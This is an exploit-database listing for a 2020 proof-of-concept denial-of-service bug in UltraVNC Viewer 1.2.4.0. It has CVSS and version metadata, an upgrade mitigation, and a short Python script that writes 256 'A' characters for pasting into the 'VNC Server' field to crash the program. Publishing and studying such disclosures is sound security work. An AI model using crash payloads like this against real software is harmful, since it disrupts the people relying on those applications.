UltraVNC Viewer 1.2.4.0 - 'VNCServer' Denial of Service (PoC)

vendor:

UltraVNC Viewer

by:

chuyreds

7.8

CVSS

HIGH

Local

119

CWE

Product Name: UltraVNC Viewer

Affected Version From: 1.2.4.0

Affected Version To: 1.2.4.0

Patch Exists: YES

Related CWE: N/A

CPE: a:uvnc:ultravnc:1.2.4.0

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10 Pro x64 es

2020

UltraVNC Viewer 1.2.4.0 – ‘VNCServer’ Denial of Service (PoC)

UltraVNC Viewer 1.2.4.0 is vulnerable to a denial of service attack when a maliciously crafted 'VNCServer' value is supplied. This can be exploited by an attacker to crash the application.

Mitigation:

Upgrade to the latest version of UltraVNC Viewer.

Source

Exploit-DB raw data:

# Exploit Title:  UltraVNC Viewer 1.2.4.0 - 'VNCServer' Denial of Service (PoC)
# Discovery by: chuyreds 
# Discovery Date: 2020-04-05
# Vendor Homepage: https://www.uvnc.com/
# Software Link : https://www.uvnc.com/component/jdownloads/send/0-/394-ultravnc-1240-x86-setup.html?Itemid=0
# Tested Version: 1.2.4.0
# Vulnerability Type: Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to produce the crash:
#1.- Run python code: UltraVNC_1.2.40-Viewer_VNCServer.py
#2.- Open UltraViewer_VNCServer.txt and copy content to clipboard
#3.- Open UltraVNC Viewer 
#4.- In "VNC Server" Paste Clipboard
#5.- Click on "Connect"
#6.- Crashed

cod = "\x41" * 256

f = open('UltraVNC_1.2.40-Viewer_VNCServer.txt', 'w')
f.write(cod)
f.close()